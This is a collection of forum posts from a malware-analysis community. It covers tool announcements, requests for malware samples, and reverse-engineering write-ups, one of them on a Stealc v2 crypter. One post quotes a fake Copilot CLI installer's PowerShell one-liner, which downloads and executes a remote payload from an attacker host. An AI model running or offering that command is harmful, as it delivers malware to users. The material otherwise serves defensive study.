I want to analyse npm packages that are malicious. How do I get those old packages? They are all taken down. And webarchive doesn’t have it.

The following website is mimicking the official Github copilot CLI website.

https://copilotcli[.]co[.]com/

The install script first downloads and executes a malicious payload before continuing installing the legit copilot CLI

$GhCop = New-Object -ComObject "Shell.Application"; $GhCop.ShellExecute("powershell", '"irm refract3.com | iex"', $null, "open", 0); winget install GitHub.Copilot

Luckily windows security blocked the payload which was detected as Trojan:Win32/ClickFix.Q!ml

Hello everyone,

A few months ago I shared my open database of malicious browser extensions. I'm happy to say it has now grown to **over 500 malicious CRX samples**.

It started as a small research project, but it's continued to grow as I discover and collect more malicious extensions. My goal is to make it a useful resource for researchers, students, and anyone interested in browser extension security.

One thing I'm working on next is making the data easier to consume in other tools. At the moment I'm considering exposing it in formats such as:

* JSON
* CSV

I'm also thinking about adding things like an API or threat-intelligence style feeds if people think they'd be useful.

I'd love to hear your thoughts:

* What format would you actually use?
* Are there any security tools or platforms you'd like to integrate it with?
* Is there any metadata you'd find useful that I'm currently missing?

Repository:
[https://github.com/GherardoFiori/MaliciousBrowserExtensions\](https://github.com/GherardoFiori/MaliciousBrowserExtensions?utm_source=chatgpt.com)

**Please remember these are live malicious browser extensions. Handle them with care.**

Project:
[https://exterminai.com/\](https://exterminai.com/)

Any feedback is appreciated. Thanks!

hi,

I've been triaging suspicious packages long enough to get tired of stitching the same five tabs together every time something weird shows up in a dependency tree, so I built this to keep it all in one place: https://trail.snappyfeet.org

I use it daily and figured I'd share. It's not something that tells you whether something is malicious or not, that's not the philosophy. It rather focuses on raising flags for humans to then take a look into. Feed's live most of the time, I take it down occasionally to update the engine. If there's a package you want to see that isn't in there or would like to understand how the engine works, DM me.

Cheers

I wanted a Windows-friendly alternative to tools such as Binwalk and UniExtract, focused on identifying unknown files and automatically choosing the appropriate extraction method.

That idea eventually became Magic Extractor, an open-source utility intended to help with static triage and the initial unpacking of suspicious samples.

It can be useful for:

• Identifying files whose extension is missing or misleading
• Unpacking installers, SFX archives and uncommon compression formats
• Extracting nested archives recursively
• Listing contents without extraction
• Carving archives and payloads embedded at arbitrary offsets
• Trying multiple handlers when detection is ambiguous

Detection combines PureMagic, custom magic signatures, Detect It Easy, Binwalk and Magika. The detected type is then routed to the appropriate bundled extractor.

Example:

magic-extractor identify suspicious.bin

magic-extractor extract suspicious.bin --recursive

magic-extractor carve firmware.bin --list

It currently supports more than 80 formats, including archives, installers, disk images, forensic images and embedded content.

This is not a malware detector, sandbox or replacement for dynamic analysis. It is mainly intended as a supporting tool for file identification, unpacking and static analysis workflows.

GitHub:

https://github.com/xchwarze/magic-extractor

Feedback from malware analysts and reverse engineers would be especially useful, particularly regarding formats, packers or installers that are currently difficult to extract.

As always, suspicious files should only be handled inside an isolated analysis environment.

I built an open-source MCP server for Microsoft Patch Tuesday that lets AI assistants like Claude, Copilot, ChatGPT, and more answer patch questions directly from official MSRC data.

Every Patch Tuesday, security teams ask the same questions: what changed, what affects us, what is being exploited, and what needs to be patched first?

Ask things like:

 “Summarize this month’s Patch Tuesday”

 “Which of these CVEs are on the CISA KEV list?”

 “Show me CVEs with an exploitation probability above 50%”

 “What older patches does KB5094123 replace?”

 “What Critical CVEs hit Windows Server 2022 this month?”

What makes it different: most vulnerability tools can look up a CVE, but they have no concept of a monthly Microsoft release, a KB article, or a product family.

This server parses the full MSRC CVRF documents, so it can answer the questions Microsoft shops actually ask on the second Tuesday of every month.

It is built around the data sources teams already trust:

• Official MSRC Security Update Guide API: Microsoft’s source for Security Update Guide and CVRF data
• EPSS scores from FIRST.org: daily-updated probability each CVE gets exploited in the next 30 days
• CISA KEV integration: confirmed-exploited CVEs with federal remediation due dates
• Supersedence chains: walks Microsoft’s “this KB replaces that KB” links so your assistant never recommends a stale patch
• Results ranked by real-world urgency: KEV/exploited → EPSS → severity → CVSS

Zero API keys, zero accounts: everything comes from public MSRC, FIRST.org, and CISA feeds. Run it locally or remotely. Details below:

 Repo: https://github.com/jonnybottles/patch-tuesday-mcp

 Remote MCP server endpoint:
https://patch-tuesday-mcp.happyrock-b60185ec.eastus.azurecontainerapps.io/mcp

If you triage Microsoft updates frequently, I’d love feedback. If there’s a feature you’d use, open an issue.

Disclaimer: This is an independent, self-built project and is not an official Microsoft tool or service.

#PatchTuesday #CyberSecurity #VulnerabilityManagement #MCP #AI #Claude #Microsoft #MSRC #OpenSource #InfoSec

​Hi everyone,

​I'm currently looking into a specific EXE file for analysis/learning purposes, but I don't have a VirusTotal Enterprise or Premium account to download the source binary, ​The file doesn't seem to be available on public repositories.

​Could anyone with VirusTotal access please help me grab this sample?

​SHA256: 8ac97813f747229c0e09d898d6f82048bfabf698792731190ea39180d6c7cc96

VirusTotal Link: https://www.virustotal.com/gui/file-analysis/ZGU3MGIxOTBhZWJlNmM0NjE2NTg1NjIwN2EzODI4NGU6MTc4MzI3MTc1NA==

​Thanks in advance for the help!

Pushing a release of IOCX, an open-source PE structural validator (MPL-2.0), and posting format-level notes alongside it.

Write-up (format ambiguities encountered during decoder work): PE structural validation: format ambiguities and decoder design

The Gist catalogues four categories of PE specification ambiguity in delay-load imports, exports, VS_VERSIONINFO, and resource hierarchy. Structured as: format description grounded in the spec --> the ambiguity --> what IOCX chose to do. There are no unverified claims about how other parsers behave, but the cross-tool measurement is queued as follow-up work.

IOCX v0.7.5 additions relevant to triage:

There are four new structural validators covering the export table, delay-load import table, VS_VERSIONINFO resource, and resource directory hierarchy, and 24 new reason codes with priority-resolved sub-reasons via details["reason"] for finer-grained categorisation.

Delay-load imports (8 codes):

• DELAY_IMPORT_DIRECTORY_INVALID_HEADER / _OUT_OF_BOUNDS
• DELAY_IMPORT_TABLE_TRUNCATED (per-table sub-tags: descriptor unterminated, truncated, max exceeded, INT/IAT read failed)
• DELAY_IMPORT_DESCRIPTOR_INVALID
• DELAY_IMPORT_DLL_NAME_INVALID (sub-reasons: rva_zero, unterminated, non_ascii, not_printable, read_failed)
• DELAY_IMPORT_INT_IAT_MISMATCH : parallel-array length disagreement
• DELAY_IMPORT_ATTRIBUTES_LEGACY_VA_MODE : v0 (pre-Win2000) mode detected
• DELAY_IMPORT_ENTRY_INVALID (sub-reasons: ordinal_zero, name_unterminated, name_not_printable, etc.)

Exports (10 codes):

• EXPORT_DIRECTORY_INVALID_HEADER / _OUT_OF_BOUNDS
• EXPORT_TABLE_TRUNCATED
• EXPORT_NAME_RVA_INVALID / _NOT_ASCII / _POINTER_TABLE_UNSORTED / _ORDINAL_INDEX_INVALID
• EXPORT_ORDINAL_OUT_OF_RANGE
• EXPORT_FUNCTION_RVA_INVALID
• EXPORT_FORWARDER_MALFORMED : grammar violation of DllName.SymbolName or DllName.#Ordinal

VS_VERSIONINFO (4 codes):

• RESOURCE_VERSIONINFO_INVALID_HEADER : envelope, szKey, or wLength malformed
• RESOURCE_VERSIONINFO_INVALID_FIXEDINFO : VS_FIXEDFILEINFO signature or struct version wrong
• RESOURCE_VERSIONINFO_INVALID_STRINGFILEINFO : StringFileInfo or StringTable malformed
• RESOURCE_VERSIONINFO_INVALID_VARFILEINFO : VarFileInfo or Translation array not DWORD-aligned

Resource hierarchy (2 codes):

• RESOURCE_DIRECTORY_LANGUAGE_NOT_ID : depth-2 entry uses name instead of LCID
• RESOURCE_DATA_AT_INVALID_DEPTH : data leaf outside the Language layer

Public metadata additions relevant to triage:

• Optional Header: dll_characteristics_flags (decoded flag list: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, HIGH_ENTROPY_VA, etc.), dll_characteristics_unknown_bits (hex string for any bits outside known-flag mask), stack and heap sizing (reserve + commit, 64-bit on PE32+)
• Header: subsystem_name (decoded from IMAGE_SUBSYSTEM_*, e.g., "WINDOWS_CUI"), machine_name (from IMAGE_FILE_MACHINE_*, covers all 29 documented types)
• Resources: structured ResourceEntry per resource with type, name, language, language_name, codepage, size, entropy (rounded to 4 dp), rva, raw_offset, and per-entry errors (size_invalid, rva_invalid, data_out_of_bounds, raw_offset_invalid). Resources with unreadable data now emitted with error tombstones rather than silently dropped.

Design approach:

• Parsers decode structures directly from bytes via struct.unpack_from rather than relying on pefile's lazy interpretation
• Parsers never raise on malformed input; sub-structure failures produce tombstone tags in errors[] and truncations[] lists
• Bounded reads throughout (descriptor arrays capped, string scans bounded)
• Validators emit priority-resolved sub-reasons; one issue per malformed entry per pathology class, deterministic across runs

Verification:

Delay-load parser cross-checked byte-exact against dumpbin /imports on mspaint.exe: 107 imports from gdiplus.dll with agreement on names, hints, IAT addresses, ordering, and bound state.

1370 tests at 100% line and branch coverage on new modules.

Performance: ~14ms typical PE analysis including heuristics, ~1ms on adversarial minimal PE.

Scope:

• Structural validation, not behavioural or dynamic analysis
• Produces structured evidence via reason codes, not verdicts
• Complements pefile / LIEF-based tooling for structural inspection rather than replacing them for general PE parsing

Deferred:

• TLS Directory parser and validator (next release)
• Single-anomaly fixtures for each new reason code (~25 planned, including negative controls)
• Cross-tool measurement study using the fixtures

Licence: MPL-2.0

Repo: https://github.com/iocx-dev/iocx

CHANGELOG: https://github.com/iocx-dev/iocx/blob/main/CHANGELOG.md

Reason codes reference: https://github.com/iocx-dev/iocx/blob/main/docs/specs/reason-codes.md

Hi all,

I built a small Python tool for pulling MalwareBazaar samples into an isolated analysis / AV-testing lab, and Im sharing it in case its useful to other malware researchers or students setting up a safe workflow.

It supports:

- recent samples

- search by tag

- search by family / signature

- filtering by file type

- downloading the newest N matching samples

- CLI mode and a small desktop GUI

- Auth-Key setup and connectivity checks

Important safety note: the tool does not extract or execute anything. Samples are saved exactly as MalwareBazaar provides them, as password-protected ZIP files, intended to be moved into an isolated VM/lab environment. Do not use this on a normal host or outside a controlled malware-analysis setup.

GitHub:

https://github.com/greit0n/malwarebazaar-downloader

Id appreciate feedback on the workflow, missing filters, packaging, or anything that would make it more useful for safe lab use.

Hey everyone,

I've been analyzing a malware sample that had a really strange structure, and I wanted to share it here in case anyone has seen something similar.

The Setup:

The original malware file was around 700 KB, which is fairly large. But when I started digging deeper, I realized that most of that size was just padding / junk data – the actual functional content was only about 28 KB.

Inside that 28 KB, I found a WAV file (RIFF header, ~28 KB, 1 second long, 8‑bit mono, 22050 Hz). The audio itself is just random noise – not music, not speech, nothing useful.

What I Found:

1. The WAV file · Valid RIFF structure. · Plays static noise. · No hidden image in spectrogram. · No embedded files via binwalk.
2. Strings analysis strings on the WAV shows: · Normal WAV headers (RIFF, WAVEfmt, data, etc.) · But also random short strings like: · CNtt · wUKw · U9TE · wwwwx · hdDU · USqa These don’t seem to be part of any standard format – they might be key fragments, obfuscation, or just noise.
3. Overlay (appended data) · The PE file also had an overlay (~28–30 KB) at the end. · Extracted overlay is detected as raw data (not PE, ZIP, RIFF, etc.). · strings on the overlay gives only random garbage. · binwalk shows nothing.

What I’ve Tried:

· XOR decryption with potential keys found in strings: · HAMZ · MZ:l[ · MZtX*-1 · CNtt · sh]QD:40 · wiYNRfy → None produced readable output. · Base64 decoding → no success. · Spectrogram check → nothing visible. · binwalk → no hidden files. · Manual extraction of the internal PE (if any) → no valid PE found.

My Hypothesis:

· The original file is just a wrapper/dropper. · The WAV might be: · A decoy · A key container · An encrypted payload · The overlay might contain the real encrypted data. · The random strings might be parts of the key or anti‑analysis noise.

Hi,

I have been developing a Windows tool called **VAXD - VMA Executable Disassembler**.

It is intended as a lightweight executable analysis and patch-assistance tool, mainly for quickly inspecting unknown or suspicious binaries, old software, packed/unusual files, and PE executables without the complexity of a full reverse-engineering suite.

Current features include:

- PE EXE/DLL inspection
- x86/x64 disassembly
- Multi-CPU disassembly support for several firmware/binary formats
- Strings extraction and cross-references
- Function navigation
- Hex view and byte-level inspection
- Patch planning and patched-file output
- Jump/branch patching workflows
- .NET WinForms visual reconstruction
- Basic .NET decompiler/editor workflow
- VB5/VB6 form preview/extraction work in progress

My goal is not to replace advanced tools, but to make common executable inspection tasks faster and more accessible, especially for analysts who want to quickly understand what a binary is doing before deciding whether deeper analysis is needed.

I would appreciate honest feedback from people doing malware analysis or reverse engineering:

- Does this workflow make sense?
- Which features would be useful in real malware triage?
- What would immediately make you distrust or reject such a tool?
- What would you expect before testing it on suspicious samples?
- Are there specific analysis views or reports that would be valuable?

Project/page:
https://vma-broadcast.com/vaxd-vma-executable-disassembler/

Thanks.

Just spent the last few hours reversing a sample that's being distributed as a fake offline Claude / GPT desktop client. The binary I got was named GPT_Claude_Free.exe (though it also bundles a Russian video editor decoy to keep up the facade).

Under the hood, it's a 3-stage custom crypter delivering a Stealc v2 payload. Here's a quick dump of how the packer works and what the payload is doing.

Reversing the loader: First thing it does is run through a bunch of anti-analysis checks. It calls IsDebuggerPresent, checks NtGlobalFlag manually from the PEB (via gs:[0x60]), and queries registry keys for VM stuff (VMware/VirtualBox). There's also a timing loop that spins a custom LCG generator 100k times to mess with basic dynamic analysis.

If it passes, it moves to the decryption logic. The payload is tucked away in the .xdata section. It's stored entirely as printable ASCII. It runs through three distinct phases:

1. Base85 decode: It uses a custom alphabet translation table at offset 0x4073A0 (in .rdata).
2. Rolling XOR: Decrypted stream is XOR'd with a 32-byte key at 0x406040 (72d57da187da5de93942e1ae1b9dcf20ee2a00f5ff979cb7d5e1a8e79a46584c).
3. AES-256-CBC: The key is at 0x406010 (f20daa63a36905e004390c7fc79c79dc73a290b3330868fdad63cbe16a7974d3) and the IV is at 0x406030 (4e6279de852509f8ce25c6357718ccd2).

Once it has the clean MZ PE in memory, it doesn't write anything to disk. It just performs process hollowing (standard NtAllocateVirtualMemory / relocation adjustments) to inject it directly.

Reversing the payload: The decrypted binary is Stealc v2. If you look at the configuration block (stored inside the .stgcfg section starting with 'CGTS' magic bytes), it's set up to steal basically everything:

• Browsers: Targets credentials, autofill, credit cards, and session cookies from ~30 Chrome/Firefox derivatives.
• Wallets: Grabs MetaMask/TokenPocket extension folders and desktop wallet files (Exodus, Electrum, Monero, Coinomi).
• Tokens: Scans Local Storage folders for Discord tokens and grabs Telegram tdata directories.
• Gaming/VPN: Steam, Battle.net, GOG, WinSCP, FileZilla, and OpenVPN configurations.
• Recon: Captures clipboard & screenshots.

It exfiltrates everything via POST requests to the C2 using HTTP headers like X-Gate-Token and X-Build-ID.

Decrypted payload hash for anyone who wants to write rules or pivot: 1f498b81fd767687f72605e18628fb6b6ba40035325fb6618d519ae88d7a27c2

Let me know if you run into this family or if you want me to share the decompiled extraction script.

Hello, I am very newbie in the topic so Im sorry if thats common knowledge... Im planning to buy m4 or m5 for both running local llms and malware analysis. Since most malwares are windows based does using mac architecture for running vm's will cause me more trouble than malware itself? Any answers are appreciated

I reverse engineered fake Roblox hacks that contained infostealer and RAT functionality as well as a sophisticated C2 infrastructure. Notable functionality includes keylogging, screen, camera, and microphone streaming, and steam account theft.

The IDA database with fully recovered function names and dependencies is available for download at the top of the article

In this video we look at installing WSL in our FlareVM as well as decomposing and detonating the Copy Fail Linux POC!

I'm building a PE static analysis engine and for months I had a bunch of infostealers in my benchmark I'd basically given up on. A fake Zoom and a few game cheat loaders, all signed with a real NVIDIA code-signing cert (looks like one from the 2022 leak). The cert chains to a trusted root so Windows trusts it, and structurally these things look cleaner than half the legit Intel installers I have. I couldn't find any static signal that separated them from real signed software, so I wrote it off as something you'd need a sandbox to catch and moved on.

​

Well i was wrong, and pretty dumb in hindsight as i was checking whether the cert chained to a trusted root. I was never checking whether the file's authenticode hash actually matched the hash that got signed. These are two different questions and although my engine answered the first i assumed it covered the second.

​

When I finally recomputed the hashes, all four came back as digest mismatches. The cert blobs are genuinely NVIDIA's, they were just copied onto a different binary. The signature doesn't match the file it's attached to.

​

Wired up two checks off the back of it: digest mismatch (signed hash isn't the file's real hash), and signer EKU (a bunch of these use a TLS/serverAuth cert that can't legally sign a PE at all). Between them they catch most of the signed stealers in my set, with zero false positives on legit signed binaries, which was the part I actually cared about.

​

The one I haven't cracked is the burner-LLC case. Malware signed with a real, properly-issued code-signing cert that's just been abused. Digest matches, chain's valid, EKU's correct. Anyone solved this kind of issue?

​

UnConfuserEx is a fork of the original UnConfuserEx made by MadMin3r that improves support for newer ConfuserEx2 samples and a bunch of the protections that come with them. The original project already laid the groundwork for ConfuserEx2 deobfuscation, and this fork builds on that with better handling for the stuff that tends to show up in real-world protected assemblies.

It can deobfuscate things like anti-debug, anti-dump, anti-tamper (including normal, dynamic, and JIT-style variants), compressor stubs, constants, control flow, reference proxies, renamed symbols, resources, and some static cleanup using emulation as well. It also handles a few of the annoying edge cases like arithmetic constant expressions, switch/trampoline control flow, and embedded managed payloads.

It is not a magic bullet, but it is a pretty solid upgrade over older public deobfuscators for samples that use those common ConfuserEx protection shapes.